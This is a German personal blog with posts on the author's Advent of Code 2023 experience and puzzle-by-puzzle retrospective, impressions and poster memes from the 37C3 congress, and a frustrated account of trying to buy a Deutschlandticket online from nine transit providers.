Stranger Than Usual

Advent of Code 2023

Es ist wieder soweit, der Advent of Code hat wieder begonnen! Wie auch in den letzten Jahren nehme ich wieder daran teil (hat bisher gut geklappt) und habe mir fest vorgenommen, aufzuhören, wenn es mir zu viel Stress wird (hat bisher nicht geklappt).

Dieses Jahr ist irgendwas mit der Schneeproduktion im Argen (aber anders als 2015), deswegen wird man mit einem Tribok in den Himmel geschossen (Anmerkung: Himmel wie in „sky“, nicht wie in „heaven“). Bisher ist unklar, was diese exzentrischen Elfen eigentlich von einem erwarten, aber uns wird schon etwas einfallen.

Diese Tribok-Sache erinnert mich ein bisschen an dieses alte Flash-Game „Slingshot Santa“ (das war ein Flash-Game, oder? Gibt es das noch? Flash ist ja tot). Dort hat man zwar einen Onager und kein Tribok, aber beides sind Katapulte, also was soll's.

Meine Lösungen landen wie üblich in einem Git-Repo auf Github.

Advent of Code 2023: Rückblick

Gestern öffnete sich das letzte Türchen des diesjährigen Advent of Code. Wie üblich für Tag 25 war das Puzzle angemessen, aber nicht übermäßig schwierig. Was man, ebenfalls wie üblich, nicht über jeden Tag sagen kann. SPOILER ALERT: Im Folgenden erzähle ich was über die Puzzle und die Rahmenhandlung des Advent of Code dieses Jahr. Wer die Puzzle noch machen oder die Story noch lesen möchte, sollte nicht weiterlesen.

Eine Fetch-Quest

Wie schon in meinem ursprünglichen Post zum Advent of Code dieses Jahr erzählt, ging es darum, die weltweite Schneeproduktion zu retten. Die Wettermaschine aus 2015 ist dafür zu klein. Also wird man mit einem Tribok in den Himmel geschossen, um zu schauen, was denn da oben los ist.

Diese Aufgabe entfaltet sich zu einer klassischen fetch-quest. Knapp die ersten zwei Drittel der Puzzle laufen nach dem folgenden Schema ab:

  1. Man landet auf einer schwebenden Insel
  2. man reist auf der schwebenden Insel umher und löst Puzzle, um sich die Zeit zu vertreiben.
  3. man trifft auf jemanden, der einem sagt, dass auf der Insel etwas von der nächsthöhergelegenen Insel fehlt, um das zu liefern, was die Insel darunter braucht.
  4. Man löst ein Puzzle, um zur nächsten Insel weiterzureisen.

Man landet zunächst auf der Schneeinsel, der Wasser für die Schneeproduktion fehlt. Von dortaus reist man per Seilbahn weiter zur Insel-Insel (eine Schwebende Insel, die einen See und viele Insel beherbergt), die zwar Wasser hat, aber keinen Sand, um das Wasser für die Schneeinsel zu filtern. Per Luftschiff geht es weiter zur Wüsteninsel, die zwar Sand hat, aber keine Ersatzteile für die Geräte, um den Sand nach unten zu liefern.

Von der Wüsteninsel reist man dann per Hanggleiter zur Getriebeinsel weiter. Dort fehlt Lava als Energiequelle zur Herstellung der Teile, also wird man mit Federn zur Lavainsel geschleudert. Dort muss man einem überdrehten Rentier mit Schutzhelm- und Brille dabei helfen, die Spiegel auszurichten, um die Lavaproduktion wieder in Gang zu kriegen.

Das letzte Drittel geht man wieder die Inseln herunter, löst auf jeder Ebene Probleme zur effizienten Verarbeitung der von oben kommenden Materialien, bis man endlich die Schneeproduktion wieder in Gang gebracht hat.

Die Community

Wie immer lohnt es sich, die Reddit-Community zu verfolgen. Dort werden zum einen Lösungsansätze diskutiert (und man kann anderen beim Debuggen ihres Codes helfen). Vor allem aber kann man sich exotische Lösungsansätze (in esoterischen Sprachen, aber auch in Spielen wie Minecraft, oder in Tabellenkalkulationsprogrammen) sowie schöne Visualisierungen anschauen (wobei die Visualisierungen in den letzten Jahren schöner waren, aber das kann auch daran liegen, dass es dieses Jahr einfach nicht so schöne Vorlagen zur Visualisierung gab).

Allgemein ist mir dieses Jahr aufgefallen, dass die Mods (und Mod-Bots) deutlich rigoroser auf die Form von Posts achteten, unter jeden unzureichend formatierten Post war ein Kommentar von einem Mod oder einem Bot.

„Ungerade Puzzle sind schwer“

Vom Inhalt her sind mir am Anfang hauptsächlich drei Dinge aufgefallen. Zum einen gab es eine Menge Beschwerden über überdurchschnittlich schwere Puzzle und Memes über eine wahrgenommene odd-day-rule, nach der die ungeraden Tage schwierige und die geraden Tage leichte Puzzle hatte. Ich fand die Puzzle am Anfang nicht schwierig, und die gerade-ungerade-Regel hatte sich nach wenigen Tagen auch erledigt.

„Schreibt gefälligst schöneren Code!“

Die zweite Sache, die mir aufgefallen ist: Am Anfang gab es auffällig viele Posts, die sich über die Code-Qualität von Puzzle-Lösungen beschwerten. Darauf waren die allgemeinen Antworten:

  1. die Code-Beispiele, die man sieht, sind häufig von Leuten, die Hilfe suchen, also unerfahrene Teilnehmer, von denen man keine hohe Code-Qualität erwarten kann
  2. der Sinn des Advent of Code besteht darin, die Puzzle zu lösen, nicht, wartbaren Code zu schreiben
  3. „wir müssen den ganzen Arbeitstag lesbaren Code schreiben, in meiner Freizeit mache ich, was ich will“.

Ich persönlich schreibe gerne ordentlichen Code, habe das im AoC aber auch gerne über Bord geworfen, wenn ich am Problem verzweifelte und einfach nur noch eine Lösung wollte.

„Die Beispiele sind schlecht!“

Die dritte auffällige Sache war, waren Beschwerden über die Beispielinputs. Zur Erinnerung: Jedes Puzzle hat einen mehr oder weniger individuellen Input für jeden Spieler, für den eine Lösung gefunden werden muss. Dazu gibt es verkürzte Beispielinputs, um das Problem besser zu verstehen, und um den eigenen Code testen zu können.

Wie jedes Jahr gab es auch dieses Mal jede Menge Posts à la „Help! Code runs on example, but not on real input“. Aber das sind nicht die Posts, die ich meine. Die, die ich meine sind mehr in der Art „Die Beispiele sind schlecht, weil sie nicht jeden Randfall behandeln, wenn mein Code auf dem Beispiel funktioniert, sollte er auch auf dem echten Input funktionieren“. Dazu war die einhellige Meinung: Die Beispiele müssen nicht jeden Randfall abdecken, dazu sind sie nicht da. Alle Randfälle sind explizit oder implizit in der Problembeschreibung enthalten.

„Ich will nicht mehr“

Zum Ende sind mir dann (mehr als in den letzten Jahren) Posts von Leute aufgefallen, die nicht mehr mitkamen und sich dafür schlecht fühlten. Die oft gegebene (imho richtige) Antwort darauf war: Du musst die Puzzle nicht lösen. Das ist Freizeit, es soll Spaß machen, wenn es keinen Spaß mehr macht oder zu viel Stress bereitet, mach nicht weiter“.

Nicht, dass ich mich daran gehalten hätte. Ich sage mir jedes Jahr, dass ich aufhöre, wenn es zu viel Stress macht, und ich höre dann doch nie auf.

Die Puzzle

Allgemein waren die Puzzle nicht schwieriger oder einfacher als in den letzten Jahren. Es gab jedoch viele Puzzle mit dem Schema: Teil zwei ist Teil eins, aber um ein paar Milliarden bis ein paar Quadrillionen hochskaliert. Solche Puzzle gab es auch früher immer, aber diese Mal gabe es viele davon.

Tag 1: twone, nineight und sevenine

Tag 1 war minimal aufwändiger als übliche Puzzle für Tag 1. Aber man kann auch nur so viele Lösungen von „Rechne alle Zahlen im Input zusammen“ machen. Im ersten Teil musste man die erste und letzte Ziffer in einem String zusammensuchen und daraus eine Zahl bilden.

In Teil zwei musste man auch Strings wie one, two, usw. berücksichtigen. Eigentlich ganz einfach. Allerdings gabe es auch Kombinationen wie „twone“ oder fiveight, bei denen sich zwei Ziffern Buchstaben teilen. Wenn man einfach nur nach diesen Wörtern gesucht hat, war das kein Problem. Viele Leute haben jedoch eine schwierigere Lösung gewählt, indem sie zuerst die Worte durch Ziffern ersetzt haben, anstatt nach ihnen zu suchen. twone wurde zu 2ne, die dort vorhandene one ging verloren.

Suchen und ersetzen ist schwieriger als einfach nur zu suchen, und in diesem Fall lieferte es falsche Ergebnisse. Viele Programmiersprachen liefern aber praktische Hilfsfunktionen zum Ersetzen, also kann ich zumindest verstehen, wie man darauf kommt. Ich habe jedoch mindestens eine Lösung in C gesehen, die das gleiche gemacht hat, ohne die Suchen/Ersetzen-Hilfsfunktion. In diesem Fall hat die Person dahinter extra mehr Aufwand betrieben, um eine falsche Lösung zu bekommen. Das verstehe ich nicht.

Erstaunlich viele Leute haben ihren Ansatz auch nicht geändert, als ihnen dieses Problem bewusst wurde. Stattdessen haben sie Sonderfälle eingebaut, z.B. um twone durch 21 zu ersetzen. Das gab schnell eine lange und unvollständige Liste von Ersetzungen. Zumal man Kombinationen wie eightwone beliebig oft aneinanderreihen kann, eine einfache Ersetzungsregel also nicht immer funktioniert.

Tag 3: Zahnräder

Über Tag 2 gab es praktisch keine Beschwerden auf reddit. An Tag 3 ging es um Zahlen, deren Textdarstellungen im Input an bestimmte Sonderzeichen grenzte (und zwar in zwei Dimensionen). Das fanden ein paar Leute schwierig. An diesem Punkt hatten sich einige in den Kopf gesetzt, dass ungerade Tage schwierig und gerade Tage einfach sind.

Tag 4: Rubbellose

An Tag 2 ging es um Rubelllose. In Teil 2 konnte man mit jedem Los mehrere Lose der nachfolgenden Kategorie gewinnen. Die Frage war, wie viele Lose man insgesamt gewinnt.

Also auch wieder einfach. Wie es ein paar Leute geschafft haben, auf minutenlange Programmlaufzeiten zu kommen, habe ich bis heute nicht verstanden.

Tag 5: Samen-Dünger-Mapping

An Tag 5 musste man zunächst Zahlen durch mehrere hintereinanderfolgende Mappings schicken. In Teil 2 musst man nicht einzelne Zahlen, sondern Zahlenbereiche mappen. Das war imho der erste ein wenig anspruchsvolle Tag. Ein naiver Ansatz (alle Zahlen in den Zahlenbereichen individuell mappen) hätte ewig gebraucht, die Bereiche waren in der Größenordnung 10⁹ bis 10¹⁰.

Eine bessere Lösung war, ganze Zahlenbereiche zu mappen. Dabei mussten diese Zahlenbereiche aber ständig aufgeteilt werden. Ich habe es irgendwie geschafft, dass das Ding schon beim ersten Versuch lief, ohne einen einzigen off-by-one-Fehler.

Tag 6: Modellbootrennen

An Tag 6 musste man ein Modellbootsrennen gewinnen. Teil 1 habe ich mit brute-force gelöst. Teil zwei war Teil 1, aber hochskaliert. Brute-force hat trotzdem noch funktioniert. Ich habe aber später noch eine effizientere Lösung implementiert.

Tag 7: Elfenpoker

Tag 7 war wieder einfach. Man musste Punkte zusammenrechnen, die sich aus den Werten einer Poker-Hand ergaben. Wenn ich die Beschreibung ordentlich gelesen hätte, dann hätte ich das auch auf Anhieb gelöst. So musste ich eine Extrarunde drehen. Wenigstens war mein Fehler so eklatant, dass meine Lösung schon für den Beispielinput fehlschlug.

Tag 8: Durch die Wüste

In Tag 8 musste man der Wegbeschreibung eines Geistes folgen. Teil 2 wäre eigentlich auch einfach gewesen, wenn ich die Problembeschreibung richtig gelesen hätte.

Tag 9: Vorhersagen

In Tag 9 musste man Werte aus einer Kette von Werten vorhersagen, in Teil zwei auch einen vorgegangenen Wert extrapolieren, also im Prinzip Teil 1 rückwärts. Auf reddit: Kommentare, wie einfach doch Tag 9 war (und dann auch noch am Wochenende, wo die Schwierigkeit sonst häufig hoch geht).

Tag 10: Hamsterröhren

In Tag 10, Teil 1 musste man einen Hamster durch ein Röhrensystem verfolgen. Schwierig war hier nur, den Input zu parsen. In Teil zwei musste man die von der Haupröhre eingeschlossene Fläche ermitteln. Bisher das kniffligste Puzzle, aber mit einem Trick konnte ich mir die Lösung wesentlich einfach machen. Hier wieder: Umrechnung zwischen zwei Koordinatensystemen, habe eine Menge dummer Umrechnungsfehler gemacht.

Tag 11: Sterneabstände

Tag 11 war auch wieder einfach, aber auch wieder eines der Puzzles, wo Teil 2 eine Hochskalierung von Teil 1 war. Eine effiziente Lösung war trotzdem recht offensichtlich, auch wenn ich natürlich wieder off-by-one-Fehler gemacht habe.

Tag 12: kaputte Federn, ganze Federn, unbekannte Federn

Über Tag 12 wäre ich fast gestolptert. Für mich definitiv einer der schwierigsten Tage dieses Jahr. Meine Lösung am Ende war ein Programmierchaos voller Sonderfälle, bis ich da alle Bugs raus hatte, war fast Mitternacht.

Tag 13: Tal der Spiegel

Tag 13 war wieder einfach, selbst Teil 2 war mit einem einfachen Brute-Force-Ansatz zu lösen. Ich habe darauf verzichtet, Teil 2 zu optimieren, weil ich immer noch von Tag 12 überwältigt war.

Tag 14: Rollende Steine

Tag 14 war wieder eins von diesen Hochskalierungsproblemen. In diesem Fall habe ich es gelöst, indem ich nach Zyklen Ausschau gehalten habe. Das hätte deutlich besser funktioniert, wenn ich nicht schon wieder einen dummen off-by-one-Fehler gemacht hätte.

Tag 16: Spiegel und Licht

Tag 15 war einfach, nicht der Rede wert. Tag 16 war eine schöne Graphenexploration, Teil 2 ging einfach genug zu bruteforcen, also habe ich das gemacht.

Tag 17: Lava-Loren

Tag 17 war ein klassisches kürzeste-Pfade-Problem mit positiven Kantenkosten, also: ALgorithmus von Dijkstra. Es gab einen Twist, aber der war nicht der Rede wert, nicht so wie der Irrgarten mit dem Elefanten im letzten Jahr. Teil 2 erforderte nur leichte Anpassungen.

Tag 18: Gräben graben

Tag 18, Teil 2 war für mich hauptsächlich deswegen schwierig, weil mir das notwendige Hintergrundwissen fehlte. Eine kurze Internetrecherche brachte mir die Gaussche Trapezformel, mit der ich das Problem lösen konnte, zumindest, nachdem ich für ein paar diskrete Eigenheiten beachtet habe.

Tag 19: Workflows

Tag 19 war ein solides Kombinatorikpuzzel, das ich zu meiner eigenen Überraschung ohne off-by-one-Fehler hingekriegt habe.

Tag 20: Schaltkreise

Tag 20 war einer der vier schwierigsten Tage dieses Jahr. Man musste wieder einmal eine Aufgabe extrem hochskalieren. Eine Lösung habe ich erst gefunden, als ich mir meinen Input angeschaut und festgestellt habe, dass er im Prinzip aus vier digitalen Zählern bestand, die alle zur gleichen Zeit eine bestimmte Zahl haben mussten. Nachdem ich diese Zahlen ermittelt habe, konnte ich einfach das kleinste gemeinsame Vielfache dieser Zahlen nehmen, um an das Ergebnis zu kommen.

Tag 21: Unendliche Gärten

Tag 21 fing, wie auch Tag 20, harmlos an. Trotzdem war es für mich eines der schwierigsten Puzzle. In Teil 1 musste man einem Elfen sagen, auf welchen Feldern im Garten er landen kann, wenn er 64 Schritte geht (wobei er immer auch besuchte Felder wieder besuchen kann).

Teil 2 erweiterte dieses Problem auf über 2,5 Millionen Schritte und einen unendlichen Garten (der Garten aus Teil 1, zyklisch aneinendergereiht). Eine einfache Graphenexploration fiel also nicht in Betracht.

Mir ist schnell aufgefallen, dass der Äußere Rand des Gartens aus begehbaren Feldern besteht. Was mir nicht sofort aufgefallen ist, war, dass auch die mittlerewn Achsen immer komplett frei waren. Damit konnte ich dann die Lösung finden. Allerdings nicht ohne noch eine Menge Fehler im Code zu machen, hauptsächlich, welche Felder jetzt mit geraden und welchen mit ungeraden Schritten erreichbar waren. Wenigstens konnte ich die Ergebnisse aus Teil 1 nutzen.

Die ist auch glaube ich das erste Puzzle (überhaupt), bei dem meine Lösung nur für den echten Input, nicht für den Beispielinput funktioniert, weil der Beispielinput nicht die freien Achsen in der Mitte hat, die für meinen Ansatz essentiell waren. Ich musste meine eigenen Beispiele bauen, um den Tag zu schaffen.

Tag 21 war der erste Tag dieses Jahr, den ich nicht innerhalb von 24 Stunden nach Veröffentlichung gelöse habe.

Tag 22: Sandstein-Jenga

Tag 22 war ein breather. Keine Probleme hier, bis auf dass ich genauer hätte lesen sollen, welchen Wert ich bei Teil 2 als Lösung angeben soll.

Auf reddit fanden ein paar Leute selbst Teil 1 extrem schwierig. Insbesondere hatten einige Leute übersehen, dass der Input in keiner Weise sortiert war.

Tag 23: Längster Pfad

In Tag 23 musste man ein längster-Pfad-Problem lösen. Das ist nur laut Wikipedia NP-vollständig. In Teil 1 war das auch kein Problem, beim genaueren Betrachten war der Graph ein gerichteter azyklischer Graph, für den das Problem leicht zu lösen ist.

In Teil 2 viel diese Spezialität weg, aber die Anzahl der Knoten war (nach einer kleinen Optimierung, die ich schon in Teil 1 benutzt habe), nur 36. Mein Brute-Force-Ansatz hat zwar 45 Sekunden gebraucht (also muss es noch eine schnellere Lösung geben), aber das Ergebnis war korrekt, also habe ich nicht länger nachgehakt.

Tag 24: Hagelsturm

Tag 24 hat mir Weihnachten versaut. In Teil zwei musste man einen Stein werfen, so dass er (wenn er sich auf einer geraden Linie bei konstanter Geschwindigkeit bewegt) alle Hagelkörner im Input trifft (die sich auch bei konstanter Geschwindigeit auf einer geraden Linie bewegen). Gesucht waren Startposition (und Geschwindigkeit) des Steins.

Ich habe den ganzen Tag lang versucht, das Problem analytisch zu lösen, ohne Erfolg. Ich bin einfach zu eingerostet. Nach ein paar Optimierungen hatte ich dann am nächsten Tag einen Brute-Force-Ansatz, der drei Sekunden lief und mir nach einigen Schmerzen auch die richtige Lösung lieferte (immerhin konnte ich hier den Beispielinput zur Verifikation verwenden).

Tag 25: Rotes Kabel oder blaues Kabel?

In Tag zwei musste man zwei Gruppen miteinander verbundender Komponenten lösen, indem man nur drei Kabel durchtrennt. Also eigentlich ein max-flow/min-cut-Problem. Nur halt vereinfacht, weil jede Kante nur eine Kapazität von 1 hat.

Ich hatte schnell eine Lösung, und hätte damit meinen persönlichen Rekord für 50 Sterne in einem Advent of Code gestellt, aber ich hatte ja Teil 2 vom vorherigen Tag nicht geschafft.

Advent of Code 2018

Irgendwann im Monat habe ich auch Teil 2 von Tag 23 aus 2018 gemacht. Das hatte vorher bei mir nicht funktioniert, obwohl ich letztes Jahr eine Optimierung eingebaut habe, die aber trotzdem noch explodiert ist.

Dieses Jahr fiel mir dann auf, dass ich den Suchraum zu klein definiert habe. Nun könnte man denken, dass eine Vergrößerung des Suchraums die Suche noch verlängert. Tatsächlich war aber das Gegenteil der Fall: Weil jetzt die optimale Lösung im Suchraum lag, konnte ich direkt mehr suboptimale Lösungen aussortieren, was verhinderte, dass mir das Teil um die Ohren flog.

37C3 Unlocked

Endlich ist wieder Chaos Communication Congress. Nach vier entbehrungsreichen Jahren. Außerdem ist er wieder in Hamburg (im Congress Center Hamburg, CCH). Jetzt, wo ich nicht mehr in Hamburg wohne.

Wie auch immer, der erste Tag war schon schön, aber anstrengend, und der zweite Tag ist bisher auch schön, aber anstrengend. Es gab schon einige schöne Vorträge, zum Beispiel einen von diesen Hackern, die diese Blockiermaßnahmen in polnischen Zügen untersucht hatten. Aber auch welche über Teleskope, Politik, und natürlich die lightning talks. Die Vorträge werden wie immer live gestreamed, und werden später auch noch nachzusehen sein, wie immer auf media.ccc.de.

Das CCH hat sich trotz Renovierung nicht übermäßig veränder, aber ich verirre mich hier immer noch wie damals (bzw. 2016 hatte ich mich endlich halbwegs zurechtgefunden, und dann haben sie den Veranstaltungsort gewechselt).

Ich halte übrigens morgen auch einen lightning talk, zu fordite. Fünf Minuten, da sollte ich die grobe Idee rüberbringen können. Auf meinem weiteren ToDo-Plan stehen noch ein paar interessante Vorträge, ein bisschen Löten (sonst wird meine Professorin sauer), meinen flow3r-Badge fixen und einfach mal schauen, was hier sonst noch für verrückte Sachen anstehen.

Einen detaillierten Bericht, wie es hier ist, wird es nicht geben. Dazu ist hier einfach zu viel.

Der Datenelch

Auf dem Chaos Communication Congress tauchen ja immer haufenweise skurrile Aushänge auf. Ein Meme (in Ermangelung eines besseren Begriffes) war der Datenelch. Der erste Aushang dazu, der mir aufgefallen ist (nicht notwendigerweise der erste überhaupt) war der hier:

Ein Papieraushang im Stil eines Vermisstenposters. Die Überschrift ist „Datenelch vermisst!“. Darunter ein Bild des Datenelches. Es ist ein Elch oder Hirsch, an dessen Geweih mehrere Antennen und Satellitenschüsseln befestigt sind. An der Seite hat jemand mit Filzstift „All hail the datenelch“ geschrieben. Unter dem Bild ist eine Beschreibung des Datenelchs, die u.a. angibt, dass der Datenelch Funklöcher stopf, wo er zuletzt gesehen wurde und dass es eine Belohnung für das Finden des Datenelchs gibt.

Weitere Aushänge ließen nicht lange auf sich warten:

Ein Papieraushang. Dort steht: „Schlechter Empfang? Nimm einen Datenelch mit!“. Darunter waren früher wohl Datenelche zum Abreißen, aber es wurden bereits alle abgerissen.

…was natürlich die Verschwörungstheoretiker auf den Plan rief:

Ein Papieraushang angelehnt an das „Birds aren't real“-Meme, aber es behandelt den Datenelch. Oben steht groß und umrahmt „DATENELCH AREN'T REAL“, darunter kleiner „Wake up, 37c3!“. Ganz unten ist eine Silhouette eines Datenelches und daneben der Text „Government surveillance drone“.

Gegen diese Verleumdung hat sich auch direkt ein Gegenpol gebildet:

Ein Papieraushang. Er zeigt Kopf und Geweih eines Datenelches. Darunter die Bildunterschrift „I WANT TO BELIEVE“. Der Datenelch hat große, niedlich aussehende Kulleraugen. Im Geweih des Datenelches sind Satellitenschüsseln, Solarzellen, Antennen und verschiedene Funkgeräte, Radios, etc.

Ein Papieraushang. Er zeigt das „I'M NOT SAYING IT'S ALIENS“-Meme, aber der Text lautet: „IM NOT SAYING IT WAS DATENELCH BUT IT WAS DATENELCH“. Über die Augen der Person auf dem Bild hat jemand Wackelaugen geklebt.

und wie das halt so abläuft, wurden noch weitere Aushänge erschaffen:

Ein Papieraushang. Er ist im Stil eines Wildwest-Wanted-Posters. Oben steht „WANTED 5G OR EDGE“, darunter ist ein Bild des Datenelches und darunter der Text „$100,000 REWARD“.

Ein Papieraushang. Darauf ist ein Warnschild im Stil eines Verkehrswarnschilds, das vor Vieh oder Wild warnt, aber mit der Silhouette eines Datenelches in der Mitte. Um die Silhouette herum ist ein rotes Dreieck.

Es gab wohl noch weitere Aushänge, die ich nicht gesehen habe. Woher kommt das Ganze?

Eine kurze Recherche

Eine Suche bei DuckDuckGo gibt jede Menge Treffer zum Thema „Datenleak“. Nicht gut. Leider funktionieren bei DuckDuckGo Suchen mit Anführungszeichen nicht (mehr?). Also musste ich wohl oder übel bei Google suchen.

Google hat einige Ergebnisse, die meisten davon zum 37C3, aber ein paar verweisen auf den Podcast „Logbuch: Netzpolitik“. Ich konnte mit geringem Aufwand nicht herausfinden, wann er zum ersten al auftrat, aber spätestens mit Folge 477 „Die Anwälte sind die wahren Künstler“ wird Merchandise des Datenelchs verlinkt, also vermute ich mal, er irgendwo in diesem Dunstkreis entstanden ist. Das Bild auf dem WANTED-Poster oben ist übrigens dasselbe wie aus dem Merch-Shop.

Die Jagd nach dem Deutschlandticket

Gestern habe ich mit einer Freundin, die ich nur selten sehe, Silvester gefeiert. Für die Rückfahrt heute (Neujahr) wollte ich Regionalbahnen und Regionalexpresse nehmen. Da dies der erste Tag des Monats ist, und ein Ticket für die einzelne Fahr nur unwesentlich weniger als die 49€ für das Deutschlandticket waren, dachte ich mir, ich könnte mir mal schnell das Deutschlandticket besorgen. „Mal schnell“ war nicht. Es war ein langer, schmerzhafter Prozess.

Nun bin ich ja eigentlich ein Fan des Deutschlandtickets. Ich habe das alte Deutschlandticket, das 9€-Ticket ein paar Mal benutzt. das 49€-Ticket habe ich aber kaum genutzt, da ich 2023 fast komplett in den Niederlanden lebte. Trotzdem: ein Schritt in die richtige Richtung. Ein niederschwelliges Ticket, um überall hinzufahren ohne sich Sorge um Tarifbereiche und das Abstempeln von Fahrkarten machen zu müssen.

Nur das mit der „Niederschwelligkeit“ ist nicht so wirklich angekommen. Man kann das Ticket nämlich im Gegensatz zu dem 9€-Ticket nämlich nicht mehr am Automaten kaufen. Nein, man muss ein Abo abschließen. Selbst wenn man das Abo direkt im Anschluss kündigt, weil man nur ein Ticket für einen Monat will. Im Prinzip lassen sich alle Probleme, die ich mit dem Kauf den 49€-Tickets hatte, auf dieses Abomodell zurückführen. Aber fangen wir vorne an:

Erster Versuch: VRR

Als erstes bin ich zum Verkehrsberbund Rhein-Ruhr (VRR) gegangen. Der VRR ist quasi der Überverband im Ruhrgebiet und Umgebung, darunter stehen einzelne Verkehrsbetriebe.

Dort kann man das Deutschlandticket über die App kaufen. Die App kann ich nicht installieren, weil ich den Google Playstore nicht auf meinem Handy habe (und nicht haben will, weil man den nicht kriegt, ohne den ganzen anderen Google-Krams auch mitzuinstallieren). Über die Website kaufen? Fehlanzeige. Es soll ja auch so etwas wie Progressive Web Apps (PWA) geben, aber nein, der VRR hat eine native App (bzw. zwei, eine für Android und eine für iOS), und ohne die App kein Deutschlandticket.

Obwohl, das stimmt nicht ganz: Man kann auch ein Formular ausdrucken, damit persönlich beim VRR aufkreuzen und damit ein Abo beantragen. Scheitert bei mir an einem Mangel an Drucker, aber auch daran, dass am Wittener Hauptbahnhof keine VRR-Leute sind, die das Formular entgegennehmen können.

Zweiter Versuch: Deutsche Bahn

Probieren wir es doch bei meinem Lieblingssaftladen, der deutschen Bahn (die mich übrigens auf der Rückfahrt vom Congress 57 Minuten zu spät hat ankommen lassen, also genau 3 Minuten zu wenig, um eine Entschädigung zu bekommen).

Dort kann man das Abo natürlich auch über die App abschließen. Die ich natürlich ebensowenig installieren kann wie die des VRR. Außerdem hat diese App schon öfters schlechte Presse bezüglich des Datenschutzes bekommen.

Aber wenigstens kann man bei der Bahn das Abo auch über die Website abschließen. Nur will die Bahn eine Sicherheit, dass ich auch wirklich ich bin. Per Vorkasse zahlen kann ich nicht, denn das ist ja ein Abo. Natürlich will ich kein Abo, ich will das Ticket erst einmal nur für einen Monat. Aber man kriegt das Ticket nur über das Abo, auch wenn ich es direkt im Anschluss kündige.

Um diese Identitätsbestätigung zu bekommen, bietet die Bahn verschiedene Verfahren an. Eins davon ist, einem Drittanbieter die Logindaten und eine TAN für mein Bankkonto zu geben. Danke, kein Interesse. Das andere beinhaltet, meinen Perso in meine Laptop-Kamera zu halten. Auch nicht schön, aber was soll's. Also zu Verimi. Dort muss ich zunächst dieselbe Mailadresse angeben, die ich auch bei der Bahn angegeben habe. Die Bahn kommt mit dieser Adresse auch problemlost klar und hat mir zum Beispiel auf der Hinfahrt zum Congress nicht weniger als sechs Mails geschickt, dass mein Zug Verspätung hat.

Verimi hingegen kommt mit der Mailadresse nicht klar. Natürlich wegen des Pluszeichens so ähnlich wie die Telekom. Um es zu wiederholen: Ein Pluszeichen im lokalen Teil der E-Mail-Adresse ist (abhängig vom Mailprovider) absolut gültig. Den Support von Verimi konnte ich auch nicht erreichen, denn das Kontaktformular verlangt auch eine E-Mail-Adresse, und dort wird das Pluszeichen natürlich auch nicht akzeptiert.

Dritter Versuch: deutschlandticket.de

Das Schöne am Deutschlandticket ist ja, dass jeder Verkehrsverbund es verkauft. Also habe ich eine kleine Websuche gemacht um herauszufinden, wo man es noch kaufen kann (bei dieser Suche bin ich auch auch diesen grandiosen Typografie-Fail gestoßen).

Meine Suche ergab zunächst deutschlandticket.de. Sah am Anfang auch vielversprechend aus. Keine App verlangt, meine Mailadresse wird akzeptiert, ich tippe meine IBAN für die Lastschrift ein, klicke auf „Jetzt kostenpflichtig bestellen“ und…

Ach ne, die Seite lädt nach dem Klick neu, sie ist jetzt leer bis auf den Button „Jetzt kostenpflichtig bestellen“. Noch einmal draufgeklickt. Jetzt beschwert er sich über ungültige Kreditkartendaten, obwohl ich ja Lastschrift ausgewählt habe.

Der Support antwortet auch innerhalb von wenigen Stunden (an einem Sonntag), hat aber nicht mehr zu sagen als „probier es noch einmal“. Funktioniert natürlich nicht.

Vierter Versuch: HVV

Ich wohnte ja jahrelang in Hamburg. Vielleicht kann mit der Hamburger Verkehrsverbund (HVV) helfen. Aber natürlich nicht. Auch hier wieder: Entweder per App, oder per Chipkarte, aber die muss natürlich erst geliefert werden, dafür habe ich nicht die Zeit.

Fünfter Versuch: KVB

So langsam werde ich verzweifelt. Ok, probieren wir mal die Kölner Verkehrsbetriebe (KVB). Hier zeigt sich ein neues Problem: Bei allen bisherigen Anbietern konnte ich den Startpunkt des Abos vernünftig wählen, also für den aktuellen Monat (zu diesem Zeitpunkt noch Dezember) und die darauffolgenden paar Monate, in meinem Fall wäre das Januar gewesen.

Beim KVB sieht die Sache anders aus: Dort kann man als Startzeitpunkt nur den übernächsten Monat wählen. Wenn man ein Ticket für den aktuellen Monat braucht, ist man komplett raus. Wenn man ein Ticket für den nächsten Monat braucht (so wie ich(, sollte man das bis zum 20. des Monats bestellen. Vermutlich ist der Server einfach zu langsam, um eine Ticketbestellung in weniger als 11 Tagen zu verarbeiten. Also auch hier: Kein Ticket für mich.

Sechster Versuch: VRM

Mittlerweile war ich bei der Freundin angekommen. Die schlug mir vor, es bei ihrem regionalen Verkehrsverbund Rhein-Mosel (VRM) zu versuchen (nicht zu verwelchseln mit dem Rhein-Main-Verkehrsverbund, dem RMV).

Hier brauchte man auch wieder eine App. Außerdem:

Das SEPA-Lastschriftverfahren kann bei einem Kauf des D-Tickets über die VRM-App leider nicht mehr angeboten werden.

Hätte also eh nicht funktioniert. Da ich mittlerweile unterwegs war, waren Lastschrift, Bargeld oder Girocard die einzigen Zahlarten, die mir zu Verfügung standen. Und die letzten beiden wollten die ja sowieso nicht, weil die nicht für ein Abo funktionieren.

Siebter Versuch: BGV

So langsam greife ich nach jedem Strohhalm, also warum nicht die Berliner Verkehrsbetriebe, aka Berliner Verkehrs-Aktiengesellschaft (BVG)?

Ich kann euch sagen warum: Selbes Problem wie in Köln, ich kann das Ticket frühestens ab Februar bestellen.

Achter Versuch: Ruhrbahn

Aber wozu in die Ferne schweifen? Was ist mit der Essener Verkehrs-AG (EVAG) aus meiner Heimatstadt? Ach ja, die gibt es ja nicht mehr, die haben sich mit den Nachbarn aus Mülheim zusammengeschlossen und sind jetzt Ruhrbahn.

Aber auch hier: Fehlanzeige. Genau wie Verimi wollen die meine E-Mail-Adresse nicht.

Neunter Versuch: Bogestra

Was kenne ich noch? Ach ja, die Bochum-Gelsenkirchener Straßenbahnen-AG (Bogestra). Und siehe da: Hier geht es endlich! Einfach einen Account erstellen, meine Lastschriftdaten angeben und – voilà: ein Deutschlandticket für Januar.

Die Kündigung war ein bisschen holprig, aber hat auch funktioniert. Warum bin ich erst so spät darauf gekommen? Naja, Bogestra und Ruhrbahn sind Teil des VRR, bei dem es ja schon nicht funktioniert hat. Wie kann ich dann erwarten, dass es bei den Mitgliedern des VRR funktioniert? Es funktioniert aber.

Fazit

